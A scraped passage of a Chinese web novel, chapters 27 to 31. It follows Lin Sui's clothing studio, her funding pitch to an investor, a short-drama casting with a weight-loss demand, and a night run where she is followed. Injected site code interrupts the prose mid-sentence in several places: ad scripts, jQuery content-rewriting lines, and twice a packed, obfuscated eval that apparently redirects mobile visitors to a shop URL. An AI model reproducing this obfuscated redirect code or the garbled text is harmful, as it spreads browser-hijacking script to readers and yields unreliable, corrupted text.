“应该不会是那个意思吧，他只是人比较好……可是为什么每次给他钱的时候他都那么不愿意收下呢？”林穗苦恼极了，只恨自己昨晚临睡前的“卧谈会”上没有厚着脸皮请教一下菲儿。 林穗刚转过头，便看见肖潜正望向自己。她下意识想要躲开他的目光，却见他轻扬了扬下巴，示意她出去聊聊。 站在餐厅外面吹了吹风，林穗的头也没有刚才那么晕了。 “你叫我出来是……？”她问道。 “你刚刚状态不太对，是有什么话想对我说吗？” “我……”思绪在脑海 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中此起彼伏交战了好几个来回，林穗还是打算鼓起勇气直接问出口。毕竟她的梦想是好好经营生意、发家致富，如果连面对朋友的沟通都畏畏缩缩，以后真刀真枪的商务谈判上还玩儿什么呢？ “那我直接问了，你千万不要笑话我。”林穗道。 肖潜温柔笑笑：“好，你说。” “咱们认识以来你一直对我挺好的，帮过我很多忙，所以谢谢……” 肖潜点了点头，安静地听她继续说下去。 林穗的心砰砰直跳，有种坐在过山车上向下俯冲时的失重感，在寒冷的天气里居然觉得很热。 她不断对自己重申肖潜是个很不错的人，低调、通透、善良，就算存在误会，他也必然不会笑话自己的。 “你对我这么好，是因为喜欢我吗？”她终于说出了口。 肖潜先是微微一怔，而后绽放出一个更大的笑容，还是用那波澜不惊的语气和声细语道：“原来你担心的是这个啊……” “嗯，我蛮迟钝的，这种事情也琢磨不透，索性就来问你本人了。要是让你觉得不舒服的话……” “那你希望我是，还是不是呢？”肖潜反客为主问道，这让林穗一下不知所措了起来，好像说什么都不太对。 说希望他是？万万不能够。说希望他不是，则显得自恋又没礼貌。 太难了…… 见林穗憋得脸都红了，肖潜便明白了她的意思，于是顺势道：“不是你想的那样，不用担心。” 得到了这个答案，林穗方才松了一口气。 肖潜又道：“还记得我们是怎么认识的吗？” “记得，我找你做心理咨询。” “心理咨询师的首要职业道德是不与来访者产生感情。虽然现在我已经不做了，但毕竟我们之间很多深入交流都发生在那个时期，所以我不会做那样逾矩的事情的，你可以放心。”肖潜徐徐道。 林穗豁然开朗，脸上总算流露出了释然的笑容：“那就好，那就好……看来我应该早点来问你的，自己在那边瞎猜只会越想越内耗。像现在这样聊清楚，突然觉得世界都明亮了……” “我认同，朋友之间无论什么事都可以开诚布公聊清楚的。只不过我有点好奇……我的喜欢有那么可怕吗？”肖潜打趣道。 林穗的头摇得像拨浪鼓，忙解释：“不是的，我真的觉得你特别特别优秀，只是我自己……” 她想起了过往岁月中的很多个瞬间：“是我自己的原因。我朋友不多，毕业之后的这些年除了菲儿，身边连一个能聊天的人都没有。如果不是工作上的事或是一些‘金钱交易’，别人不会来和我说话，我也没有任何理由去找别人。所以现在我特别珍惜能和你们做朋友的机会，越是珍惜，就越害怕把关系变得混沌而复杂……” “既期待陪伴，又害怕亲密关系的出现，这该不会就是网上说的‘回避依恋型人格’吧？”林穗无奈笑了笑，自我调侃道。 28. Chapter 28 面对她这句玩笑话，肖潜却思考得很认真： “我不觉得这种想法有什么问题。很久之前我看过一部日剧，印象最深刻的并不是主角们的故事，而是一个全部戏份加起来不知道有没有十分钟的小配角。有一回，那个角色在路边遇到好久不见的朋友，于是兴高采烈地和朋友分享说自己这段时间尝试过和男生交往、和女生交往，终于发现他并不喜欢谈恋爱，单身生活才是他想要的。” “那他是个很勇敢的人啊……”林穗叹道。 “是啊，他的勇敢来源于对自己感受的尊重。了解自己喜欢什么样的人际关系、不喜欢什么样的人际关系，应该是件值得开心和骄傲的事情，而不是一个需要被解决掉的问题。而且话说回来，世间的陪伴不是只有一种，经营好友情，幸福感就已经足够强了。”肖潜说。 林穗突然想到一句话：一个真正成熟的人是不会和这个世界产生任何矛盾的。肖潜给她的感觉正是如此。 “不愧是专业的，我都想再付你一笔咨询费了。”林穗刚说完，便想起还有一件重要的事情要同他商议：“对了，既然其他事情都已经讲清楚了，钱的方面我们也得好好聊聊。肖老师，谢谢你这么帮我们，可你这套房子的租金应该不低，就算是朋友，也不能白白占用你的地方。” 来之前她做了功课，查到肖潜借给她们的房子一套整租下来至少得一万多一个月。这价格确实给工作室本就只出不进的现金流带来了更大的压力，但是只取不予有违她做事的原则，亲兄弟也得明算账，所以就算是勒紧裤腰带，她也要把租金塞进他手中。 肖潜：“我明白。其实这套房子我一早就想要租出去了，只是一旦租给别人居住，作为房东，我就不得不帮着处理一些物业琐事，我必然没有那个精力。现在你们把它用来存放货物，并不需要我额外做些什么，帮我省了很多事，所以租金也可以打个折扣，一月四千就好。” 四分之一都不到的价格？林穗觉得这不能接受。 “一万元，真的不能再低了，我们捡到的便宜已经够大了。”林穗诚恳地说。 肖潜轻笑：“听我说，之所以开低价当然是我想要捡你们的便宜。每月的这四千元我不想要现金，而是想折合成股份投资你们的工作室。” 这样的确能极大程度地缓解工作室的现金流压力，但…… “你对我们的生意就这么有信心吗？” “是啊，我主要是对负责人有信心，有什么问题吗？” “按一月八千算，咱们也别再讨价还价了。我去和菲儿、小黎商量一下，她们应该会同意的。” “好啊，等你好消息。”肖潜笑着回应道。 那天聚餐结束后，原本的四人群聊又新增了两个人——黎诗然和苏经纬。 林穗专门开了一场直播售卖这批四色衬衫，在此之前还拍了一系列穿搭攻略作为预热——她当模特，菲儿负责妆发和搭配，小黎负责拍摄和后期，各展所长，丝滑顺利。 林穗前期的粉丝也不是白积累的，短短几天时间库存就被买走了一多半，资金回笼速度比预想中快了太多。 “多亏小黎机智，从工厂要来了搭配的单品一起卖，我看抢得最厉害的就是我们配好的一整套。”菲儿全然不吝啬自己的赞美之词。 黎诗然却对目前的形势没感到多么喜悦。清点完余下的库存后，她分析道：“S、M码已经基本售罄了，现在在仓的几乎全是L、XL和2XL。这批出口成衣做得码数偏大，L码还好说些，XL和2XL估计很少有女生能穿，可能要做好砸在手里的思想准备了。” “砸在手里之后一般怎么处理？”菲儿问。 “找人按重量回收，连成本都包不住。”黎诗然答道。 “那可不行……”菲儿咬咬唇。 “不能当作女装卖的话，要不……当作男装卖？”林穗灵机一动，提议道：“基础款的衬衫本就不分什么性别，只要码数合适，男生也一样穿。” 黎诗然：“我觉得可以，找个男模特来吧，上次那个宋洋……” 菲儿和林穗异口同声道：“他不行！” 黎诗然：“那就花点钱在网上找吧，我们拍摄的时间短、衣服少，报价应该很便宜。” 菲儿：“还用费那个工夫？咱们房东兼小股东不是现成的吗？工作室生意的好坏和他的分红息息相关，这个忙他不帮谁帮啊。” 黎诗然：“行，那你们去联系吧，我和他不熟。” 菲儿只喊了肖潜一个，然而拍摄当日，他是带着苏经纬一起来的。 黎诗然拿着样衣在他们面前比划了很久，突然发现苏经纬很适合粉色。 “粉色大码剩得最多，让他试试？”她扭头问林穗和菲儿。 林穗：“那就试试呗！” 肖潜懂穿搭又有sense，并不需要别人怎么管他，是个极为优秀的全自动衣架子。而苏经纬这边却费了她们好大劲。 面对上眼妆时不停眨眼的苏经纬，黎诗然终于问出了那个憋了很久的问题：“你是第一次化妆吗？” 苏经纬的双手紧紧捏着自己的裤子：“不，不是……以前主持华人校友联谊会的时候化过一次……” 黎诗然已经有些不耐烦了，但工作为重，她还是按捺着性子继续给苏经纬化妆。 “我需要给你描一下内眼线，你尽可能平视。”说着，她用食指轻轻点在了他的眼角。 “好……”他低声应了一句。 好在最终苏经纬跟黎诗然为他搭配的一身拉夫劳伦风非常相称，出片效果出乎意料地有质感，这才浇灭了小黎几欲暴走的怒火。 “果真是人靠衣装啊，这下一点土气都没有了，完完全全的校园大帅哥。”菲儿朝小黎比了个大拇指。 他们用一下午的时间把外景拍摄全部搞定，小黎又熬夜修了一晚上的图，衬衫详情页在凌晨便火速更新好了，小红书上也上传了新的搭配分享。 不得不说，选对模特果真是销量暴增的关键助力。很多女生都是先给自己买了一件，受这套男装搭配的启发，又来为自己的伴侣回购第二件。 还有几条买家留言来自苏经纬的学生和肖潜同专业的师妹。人家本来没想着买衣服，只是意外看到苏教授、肖师兄穿着还不错，便想起来给自己的父亲或男友也下单一件同款。 当最愁卖的粉色也出售殆尽，姐妹三人便挑了一天晚上，把小桌子和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 插线板都搬到了阳台，然后在阳台上煮起了火锅。 她们将客厅和阳台之间的落地门大大敞开，好让空调的热气多流动过来一点。 “唉，还是女孩子最用心啊，男人的消费力连狗都不如。”菲儿喝着啤酒感叹道，语气之中有些怅然：“我要是那些男生，收到女朋友亲自为我挑选的衬衫，不知道多幸福……你们说他们会不会回赠礼物呢？” 林穗知道，她是又想起了狗哥。 许菲儿：“我和狗哥在一起以来，永远都只有我给他买衣服、球鞋、手机，他唯一一次送我东西是我22岁生日时，给我买了套不知道是什么牌子的‘彩妆礼盒’。我拍照上网一搜，发现里面的口红才二十九块。我倒也不是贪图他一定给我带来什么，只是如果连钱都不肯给一个人花，真心这东西就更不可能存在了。男人就是这样。看看金燕西追冷清秋，直接住到了人家隔壁，恨不得天天托人搬东西去冷家……” 今天的气氛委实是奇怪了些，这顿火锅明明是为了庆祝，可黎诗然和菲儿怎么都没有半点高兴的样子？ “可他们最后还是因为‘齐大非偶’而分道扬镳，这结局难道好吗？”黎诗然说。她的语气和平时一样，冷冷淡淡的，没有什么情绪。 许菲儿撂下啤酒罐，放松地躺在折叠式露营椅上，又黑又浓密的长发垂了下来，像一片生机勃勃的黑色瀑布。 “可她毕竟享受过热烈的追求啊……好过虚谈了半天‘感情’，最终什么都没有。”许菲儿说，“对了小黎，你看不看得出那个苏师兄喜欢你？” 黎诗然的表情被遮挡在氤氲的火锅蒸汽后。 “我还有图要修，你们吃吧。”她撂下一句话便离开了。 已然微醺的菲儿“切”了一声，闭起眼睛放松着脖颈，笑道：“这个小黎，她不懂男人……” “好了，别聊这些了，快吃东西吧，毛肚要老了。”林穗岔开话题道。 菲儿或许是懂男人的，但她始终不懂独自艰难长大的同龄女孩们的心。 第二天清晨，小黎在早饭的餐桌上带来了好消息。 “我们的销售额初战告捷，厂家已经注意到了，他们说可以向我们开放冬季新款的预定，让我们去山东详谈！”黎诗然素来平静如止水的眼眸里头一回闪烁着雀跃的火焰。 “太好了！我们的店算是正式入行了。”林穗欣然，“冬款的报价区间大概在多少？我现在只担心咱们的现金吃不下那么多货。” 黎诗然点点头：“对，我也担心这个。他们最新款毛呢大衣的出厂价格普遍在390-700之间，其他单品也比夏款贵不少。” 林穗想了想，说：“这样，有两件事情得齐头并进：一来我们得和工厂详谈一下这次拿货的账期，尽可能延期或者分期支付。我相信有了四色衬衫的成功案例，这回他们应该会听一听我们的诉求了。小黎、菲儿，这件事情就拜托你们出马了。” 林穗：“二来，我们得再想办法开源，获得更充足的运营资金，好让接下来的周转更顺利。这件事情我来想办法。” 菲儿把餐盘推到林穗面前：“好好好，都听你的，我们家大领导。只是在此之前请先把你的早饭吃掉。” 29. Chapter 29 筹钱的方式无非有二：一是自己赚，二是融资。 由于现在要着眼于发展自己的品牌，别家的商务万万不可多接，它仅可以作为这个特殊阶段的过渡。因而在一众现有的机会里，林穗只挑选了两个靠谱的合作对象进行合作，一个是口碑很好的国货彩妆，另一个是已经做了十几年的良心零食品牌。 两家的任务完成后甲方分别打来了回款，到手总共十多万。 然而财务出身的林穗知道，想把生意稳扎稳打地做大，这个金额还远远不够。 转眼间，时间来到了平安夜前夕，《恋爱法则》的倒数第二期即将开始录制，这次录制地点在韩国首尔。 由于除了路乔之外的其他嘉宾都是不过圣诞节的，所以节目组策划的内容多以体验氛围、吃喝玩乐为主，像极了一次公司团建。差别只在于此次的海外行程中，嘉宾们要为自己的心动对象挑选一样新年礼物。 林穗的上海市居住证已经下来了，所以在本地出签的速度很快，她便订了提前两天飞首尔的机票，打算实地调研一下当地的买手店正在流行些什么风格。 与此同时，黎诗然和许菲儿也搭上了前往山东的航班。 飞机落地后林穗一刻也没停，立即前往节目组预定好的酒店放置行李，然后风风火火地出门去，从明洞开始，展开了地毯式调研。无论是潮牌店、轻奢定制还是古着店她都没放过，一面“勘探”一面拍照发到工作室的群里，然后在黎诗然的建议下买下值得购入的样衣。 “今年冬天斗篷款确实又流行回来了，我在工厂看到了非常相似的版，而且比你刚刚买的那件用料还扎实。这款我去谈下来。”黎诗然在群聊中说。 林穗：“嗯嗯，辛苦啦。那刚才发的那款皮衣呢，有类似的风格吗？” 黎诗然：“那种类型不是这间厂家擅长的风格，先算了吧。” 林穗：“好，听你的。” 折腾了一整天，林穗累得头晕眼花，这才反应过来自打下飞机后她还没来得及吃上一口东西。于是她在街边找了一间装潢清新、门口也没什么人等位的咖啡馆，打算进去吃点蛋糕垫垫肚子。 就算是在吃东西，她也得多线并行，一边把小蛋糕往嘴里塞，一边审核着小黎传给她的工厂报价清单。 吃着吃着，她听到身后有阵阵用中文交谈的声音传来，那音色还有些耳熟。 陈璇：“站在基金经理的角度我当然希望这单可以促成，但站在朋友的角度，我不建议。” 赵语晴：“细说看看。” 陈璇：“从公开披露的指标来看，他们上季度收益率有很大的水分，而且产品本身也存在一定合规风险。如果你是对这类投资感兴趣，我倒是有别的推荐……” 是陈璇和赵语晴，她们也提前来到了首尔。 简单地说，陈璇作为基金经理在节目中结识了赵语晴后，把这个有投资需求的大佬发展成了自己的客户。 果真，这个年代，正经人谁谈恋爱？哪怕是上恋综，大家也都是为了事业。 从她们的交谈中林穗得知赵语晴目前有很大的投资需求，并对很多领域都感兴趣。 赵语晴：“好，那就麻烦你帮忙留意一下。现在已经十二月了，我需要一些投下去之后在明年Q2结束前就能看到成果的项目。” 陈璇：“好的，清楚你的要求了，我们随时联系。不过有一件事我挺好奇的——你除了做金融投资之外，今年就没有再投实体吗？” 赵语晴：“我对实体一直都很感兴趣，对金融的兴趣倒是一般。金融产品我没那么懂，单靠自己也研究不清楚，所以这从来都不是我的首选。只是目前大环境不好，去年投的那家连锁火锅店到现在都还在亏本，实在是不敢再轻易下手了。不过如果你有什么靠谱的实体项目也欢迎随时来找我，遇到合适的我还是不介意试一试的。前提是，一定得真的靠谱。” 聊完之后，她们便离开了咖啡馆。 对实体感兴趣？林穗她们的服装工作室并不是传统意义上的实体店铺，但网店好歹也是店，能带给赵语晴的投资安全感必然比金融产品要足。 既然如此，为什么不能试一试争取她的资金？ 这个念头从诞生的那刻起就填满了她的脑海，成为了她此次韩国之行的第二主题。 正式录制开始了，节目组给不同cp策划了不同的项目。宋洋和林穗被指定了“一日厨房体验馆”活动，也就是在“体验式厨房”里一起做菜。 “我们调查过舆情，发现网友们都希望看看你们‘居家’的一面。所以到了互赠新年礼物的环节，宋洋你把礼物拿出来，小林啊，你就说送给他的礼物是一桌丰盛的晚餐。”Mo姐指示道。 林穗：“‘一桌丰盛的晚餐’具体有什么要求吗？我平时只会烧点家常菜。” Mo姐：“这个不用担心，你象征性地做一两道就行了，其他的工作人员会帮忙准备。重点是做菜时的互动，你们一定要表现出胜似‘老夫老妻’的默契，这样才好为最后一集的告白和官宣做铺垫，明白？” 宋洋点了点头。 因为上次的“见家长”事件，宋洋依旧在生林穗的气，直到现场摄像机开机他才主动和她产生交流。 好在经过这段时间的沉淀，宋少爷的演技还是有所进步的，他终于能在镜头之下压制住个人情绪，表现出以前那种处处以自我为中心、但喜欢上谁就全写在脸上藏都藏不住的模样了。 林穗研读了菜谱，打算做一份罗宋汤。备菜时宋洋突然从她身边冒了出来，自告奋勇要帮忙去虾线。 镜头静静在他们身后记录着两人默契协作的画面。 虾刚处理完两只，宋洋便忍不住压低声音问道：“你拍男装写真为什么不找我？我们不是答应Mo姐要对外表现出已经在一起了吗？” 林穗思考了片刻，才反应过来他说的是网店的衬衫写真：“好，下次我拍女装也喊你，你千万别拒绝。” “喂……”宋洋不满地哼唧了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13801849|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林穗没有多余的心思同他纠结，满心满眼计划的都是等下结束录制后找赵语晴拉投资的事。 然而人在切菜时分心是很危险的，一着不慎，林穗就切到了自己的手指，伤口很深，差点见骨。血顿时淌在了案板上…… 宋洋的尖叫声瞬间充满了现场。不过他还是很讲义气的，纵使是晕血晕到快要两眼一黑昏倒在地，他也还是跑前跑后帮忙拿来了包扎的材料，然后联系当地的诊所进行处理。 而当他慌慌张张揣着医药箱跑出门去拦出租车时，首尔正好下雪了…… 这场本应该温馨浪漫的录制在一片混乱中草草收尾了。 不得不说，观众朋友们有时真是怪得可爱。他们一旦笃信两个人是真爱，周遭发生的一切相干不相干的风吹草动就都可以成为作证真爱的论据。 譬如这次的花絮一经曝光，许多人都评价搞笑、凄惨、但也有点好嗑，像是都市轻喜剧里男女主相处的场景。 林穗的粉丝也诡异地又增长了十几万，这让她连连感叹有心栽花花不成，无心插柳柳成荫。 要是她心态足够好也足够想得开，拉下脸来把炒cp的油门一脚踩到底，多多利用这个机会，去走另一条捷径，说不定比踏踏实实做女装赚钱要容易得多。 但人终究无法逼自己成为“别人”，林穗早就想通了，目前正在走的这条路本就是最适合她的路。 她向Mo姐打听到了赵语晴的行程，最终在仁川机场成功堵到了录制结束后即将回程的她。 “不好意思，您给我一杯咖啡的时间就行。”林穗主动道。 赵语晴接受了这个coffeechat的邀请，并直白地表示自己只有二十分钟时间，希望林穗长话短说。 林穗一早便打好了腹稿，因而很流畅地说出了自己的想法、诉求和计划。 赵语晴听完之后，不以为意笑道：“这些不足以作为说服我投资你们的理由。在我看来，你们不值得投资。” 林穗闻言，心头一紧——来之前她已经做好了说服失败的准备，可真当对方坐在她面前，轻拈着咖啡杯，没有多犹豫一秒钟便直接说出拒绝的话时，她还是感受到了比想象中更为强烈的落差感。 “可以告诉我原因吗？”林穗深知面子是最一文不值的东西，有机会和赵语晴这种深谙投资之道的同龄人学习，她就应该不惜一切代价虚心去请教：“我们只需要八十万的投资款，和其他实体项目比起来，金额很小了。” 赵语晴道：“金额小也能算优点吗？拜托，我是生意人，生意人投资从来只看风险和回报率。要是我认定你们能为我赚到足够多的回报，我巴不得多投点钱进去呢。” 赵语晴的话不好听，但有道理，林穗只得点点头。 赵语晴又道：“你这样是拉不到钱的。女装行业没有门槛，所以除非你们已经有了足够深厚的积累，否则没有投资人会对你们感兴趣。不过如果你只是缺启动资金，我这里倒是有一个机会。” 30. Chapter 30 赵语晴在微信上推给林穗一张电子名片，又道：“这位是咱们节目的另外一位副导演，李川。他开的短剧公司目前正在筹拍一部新剧，缺女主角，你应该挺适合的，沟通看看吧。” 林穗没想到会是这么个“机会”，心生疑惑问道：“我没有学过表演，为什么会想到我？” 赵语晴耸耸肩，笑笑：“你自己和他聊喽。好了，我没时间了，得去候机了。谢谢你的卡布奇诺，上海见。” 事关金钱，林穗丝毫不敢懈怠，飞机刚降落在浦东她就开始打电话联系这位李导，搞得自己举着电话在机场里东拐西绕，走了将近一个小时才绕到等出租车的地方。 李川这部短剧名叫《陆家嘴爱情故事》，林穗听到后表示震惊——现在这短剧的名字都如此简明扼要吗？ 李导却表示：“这名字不是很好吗？‘陆家嘴’，一听就知道发生在上海，而且是属于沪上白领文学；‘爱情故事’则说明了这部作品以恋爱的情节为主。直戳重点，方能最快速地筛选出对本题材最感兴趣的受众。” 林穗：“对，对，您说的有道理。不过这居然有……七十多集？要拍多久啊？” 李川：“不用担心，一集才三四分钟。短剧嘛……” 林穗：“我没有学过表演，您不介意吗？” 李川：“没关系，您的外形合适，而且这部剧的女主不需要演技太好。我们时间很紧的，林小姐，您决定好了吗？” 所谓“外形合适”是指林穗的身高。这部剧的男主角净身高有将近190，原定的女主角168，穿上十厘米的防水台两人正相配。可即将开拍时，女主却突然因为得到了一个在院线电影里有好几句台词的“正式”角色而临时弃演。 公司内部一时半会儿找不到档期合适、身高也够高的女生来接替。然而投资方的钱都已经收了，答应好的开拍日期也不太好再拖延下去，李川这才放宽了表演经验的门槛，开始“遍地捞鱼”。 《陆家嘴爱情故事》的片酬一共是三百二十万，这笔钱要是能到账，她们工作室一个季度的资金都不用愁了。 对此，菲儿表示：“小穗，要不你就牺牲一下？主要是他们给的实在是太多了……对了，他们剧组可以预付一部分片酬吗？” “我问了，演员进场后可以先拿到10%的头款。”林穗说。 许菲儿：“那正好……” 菲儿和黎诗然正在为四十万元的货款发愁，要是有了这笔头款，问题一下子便解决了。 “对了，你们和工厂谈好付款条件了吗？”林穗问。 “争取过，但不太理想。工厂坚持让我们发货前先付50%的定金，收到货后半个月内将尾款结清。”黎诗然回答。 “我们本来还想再软磨硬泡一下的，可是那边的负责人说不要求发货之前付全款已经够网开一面了，除非订单总金额在八十万以上，否则没有商量的余地。”菲儿补充道。 一向人狠话不多的小黎也在沉思过后发表了对林穗进剧组一事的看法：“要不你还是去吧？” “去吧，那还能怎么办呢？”林穗苦笑道，“不过好歹短剧也是风口行业，说不定能意外碰上什么机会呢？” 做好决定的第二天，林穗便去找李导签约。 对于入组即可收到10%的头款一事，公司毫无疑义，只不过李川本人给她提了一个要求： “林小姐，欢迎你加入咱们剧组啊！其他的一切都已万事俱备，只差女主角这道东风啦。就是还有件小事，得劳烦您上上心……” 这件事情是，要林穗在一月中旬开机之前减掉十斤。 菲儿得知之后简直气疯了：“开什么玩笑啊？小穗她一米七七，这么高的身高还要再瘦十斤，瘦完直接别去外滩了，不然刮一阵子江风直接卷进黄浦江里去了，还有什么‘陆家嘴爱情故事’啊……” 黎诗然：“穗，你现在多重？” 林穗：“一百一出头。” 闻言，黎诗然也一脸严肃地摇了摇头，表示出了对这道“减肥令”的无语。 林穗：“我也被吓了一跳，还和导演现场探讨了一下。” 菲儿：“你是应该和那个狗脑子导演探讨一下，咱们这个纸片人身材在恋综上看上去就已经薄薄一片了，怎么到了短剧这边就又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13802256|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被要求再瘦，短剧难道是有什么不一样吗？” 林穗：“他跟我盘了盘他的道，还给我看了这几个月播放量最高的短剧作品，结论只有一个：素人综艺需要的是接地气儿，让观众有代入感，甚至如果我再矮十公分、增肥五斤，还会更有观众缘，被更多的人喜欢。但短剧要的就是狗血、悬浮、不接地气儿，女主角越唯美、越有‘漫画感’越好。” 菲儿还是一脸不认同：“我改变主意了，要不你毁约吧？” 黎诗然叹了口气，正色道：“大小姐，毁约要赔违约金的。” 林穗也有过像菲儿一样的感受，这再正常不过了。在这个平等、开放的年代，任何一个靠技能赚到过钱的、独立生存过的成年人在面对这样把人的高矮胖瘦也一一物化的语境时，都会本能地产生反感。然而现在她们缺钱，就失去了挑三拣四的资格。 林穗努力把气氛调动得积极：“我也讲点好消息吧。我和导演谈好了，咱们工作室可以赞助剧组一批服装，然后小小地为自己做一波广告。” 黎诗然听了，眼前一亮：“这是好事，光给衣服就可以吗？需要我们额外再支付任何宣传费用吗？” 林穗摇摇头：“不用。所以我还是去吧，既然老天把这个机会砸在了我手里，我就必然把它利用到极致。” 离职那次暴瘦纯属侥幸，所以满打满算，这还是林穗从小到大头一回有意识地强迫自己减肥。 在网上做了半天功课后林穗才发现，原来小基数减重比大基数更加困难，因为本身就没有多少能减的余地。 制订饮食和运动计划时，菲儿总是流露出心疼的神情，她像个老母亲似的，红着眼眶摇头道：“不行，这样的话吃的东西也太少了，人很容易累的……” 林穗倒是很坚定：“没事的菲儿，我都已经决定挣这个钱了，肯定得支付相应的对价，不用给我手下留情。” 两人正讨论着，便听见厨房里一阵悉悉簌簌——原来是小黎把除了坚果之外的全部零食都打包装进了垃圾袋。 “养成节食和运动习惯是需要环境的，从今天开始，咱们三个一起。”黎诗然说。 31. Chapter 31 心理学上有个名词叫做“白熊效应”，即“后抑制反弹效应”，意思是一个人越想要忘记什么，就越会印象深刻。譬如人们几乎很少平白无故地想到一只白熊，但一旦被强行要求“不要去想一只白色的熊”，那只白熊反而会频繁地挤进脑海里。 林穗对奶茶和甜品也是如此。本来她对这些还没多大兴趣，但减肥计划上越是让她不要碰，她就越动心起念。 减肥可真难啊……难到说好要与她“同甘共苦”、一起健康饮食的菲儿和小黎才坚持了短短几天，就在卧室偷偷吃起了薯片。 “别藏了，垃圾桶里都看到了，黄瓜味儿的。”林穗无精打采地说。 菲儿不好意思笑道：“抱歉啊小穗，我也不知道怎么回事，平时还不想吃来着，一说要控制饮食就想吃了……” 黎诗然：“我也……以前明明不爱吃膨化食品的。” “今天谁要跟我一起去夜跑？”林穗问。 菲儿：“我不行，前两天运动太多，膝盖有点疼……” 黎诗然：“我也不行，我还有五十多张图没修，得加班……” 林穗只得道：“好吧，那我下楼了。” 十二月底的天很冷，还有几天就要跨入新的一年了，街角巷尾的店铺纷纷装点起了门面，静候新气象的到来。 微信群里的大家伙儿也因这个特殊日子的临近而热闹起来，唯有林穗独自跑着步，顾不上看手机。 “大家今年跨年有什么安排吗？要不要来我家聚一聚？”金老板率先在群里问道。 菲儿刚跟家里闹翻，当然不会考虑回家跨年：“可以啊，反正我没什么事儿。不过金老板你确定不用陪女朋友吗？” 金鑫：“她可顾不上我，她的申根签下来了，要和表姐去旅游。” 菲儿：“啊哈哈哈金老板，怎么嫂子出去旅游老是不带你？” 金鑫：“我要留在上海看店啊，我投的酒吧、烤肉摊、剧本杀、咖啡馆节假日都是客流高峰期。” 菲儿：“瞧金老板这觉悟，你不暴富谁暴富。” 金鑫：“菲姐有时间，那其他人呢？” 黎诗然：“我可以。” 苏经纬：“我也可以，正好家里给我邮了一些太湖蟹，到时候大家一起吃。” 菲儿：“肖老师呢？” 金鑫：“他可以，导师不会放他离开上海的，我会负责把他拽来。穗姐呢？怎么今晚都不见人影？” 菲儿：“小穗在外面跑步。” 金鑫：“好家伙，大晚上这么冷，街上都没什么人了，我穗姐居然还在健身，不愧是未来的青年企业家。小金佩服！” 一想到导演和剧组极其苛刻的身材要求，菲儿便连发了好几个无语的表情包，手指笃笃笃地快要把屏幕戳出几个大窟窿：“哪里是为了健身，都是被逼无奈啊！你们知道吗，最近的短剧市场真的太疯魔了……” 菲儿绘声绘色地把来龙去脉在群里讲了一遍，金鑫和苏经纬纷纷表示不可思议。 金鑫：“我以为只有我这种体格的人需要减肥，怎么还有人让穗姐那种模特身材的人减？太逆天了。” 黎诗然：“加一。” 苏经纬：“加一。” 直到此时，肖潜方点开了未读消息99+的群聊，说了今天晚上第一句话：“十点多了，她还在跑吗？” 菲儿：“嗯，小穗一般十一点才回来。” 肖潜：“一个人吗？” 菲儿：“对啊。” 肖潜：“在哪儿？” *** 跑过街角的便利店时，林穗嗅到阵阵咖啡香和烤肠的香气，伴随着间或响起的欢迎客人进门的旋律，她的嘴巴不禁馋了起来，肚子也开始咕咕直叫。 “白熊效应”再一次在她身上奏了效，她驻足便利店门外，看着货架上的糖果和巧克力，内心深处有一股冲动，想要进去“放纵”一番。 可是转念一想，千里之堤溃于蚁穴，她好不容易坚持了好几天，万万不可功亏一篑。于是，她便加速跑开了，为了不让自己再遭受美食的诱惑，还专门选择了乌漆嘛黑、没有店铺开门的小路。 这个时间点，在她所居住的远郊，小路上已然没了什么人和车，不必再担心撞到谁或是被谁撞到，所以林穗放心地戴上了耳机，一边跑步一边听着她常听的播客。 不知不觉中，已经十一点半了。 林穗跑得有些累了，估摸着今天的运动量已经远远超出了制订的目标，便摘下耳机打算往回走。 可走着走着，她突然发觉身后有一个人好像在跟着自己。她往哪个方向走，那人便往哪个方向走。有两次她专门停下了脚步，假装站在路边回消息，故意让那人超过自己，谁知那个人往前面的路口一站，红绿灯交替了好几轮也还是一动不动。 太可疑了…… 快要午夜十二点了，视野之中除了他们二人以外连只小猫小狗都没有。无论是昏暗的灯光、幽静漆黑的绿化带还是空旷无人的街道都让她不安极了…… 林穗不动声色加快了脚步，打算返回刚才的便利店附近打辆车回家。 她越走越快，身后的人也越走越快。 还有多久才能到？身后之人到底想干什么？他有没有携带伤人利器？ 一颗心提到了嗓子眼，快要跳了出来…… “这么巧，又遇到了，你在锻炼身体吗？” 在即将到达的下一个十字路口，一辆单车出现在了她面前。林穗抬头一看，那个人是肖潜。 她顿时像抓住了救命稻草，大步流星跑到他身边：“对啊，好巧！” “该回去了吧？”肖潜对她说着，眼睛却死死盯住跟踪她的人。直到对方心虚地转头跑开，他才收回严厉的目光，恢复了一向柔和平静的表情，看向林穗：“坐上来吧，我送你回家。” 说着，肖潜从自己的双肩包里拿出了一条厚厚的针织围巾递给了她，示意她可以裹住脑袋，防止坐单车时吹风着凉。 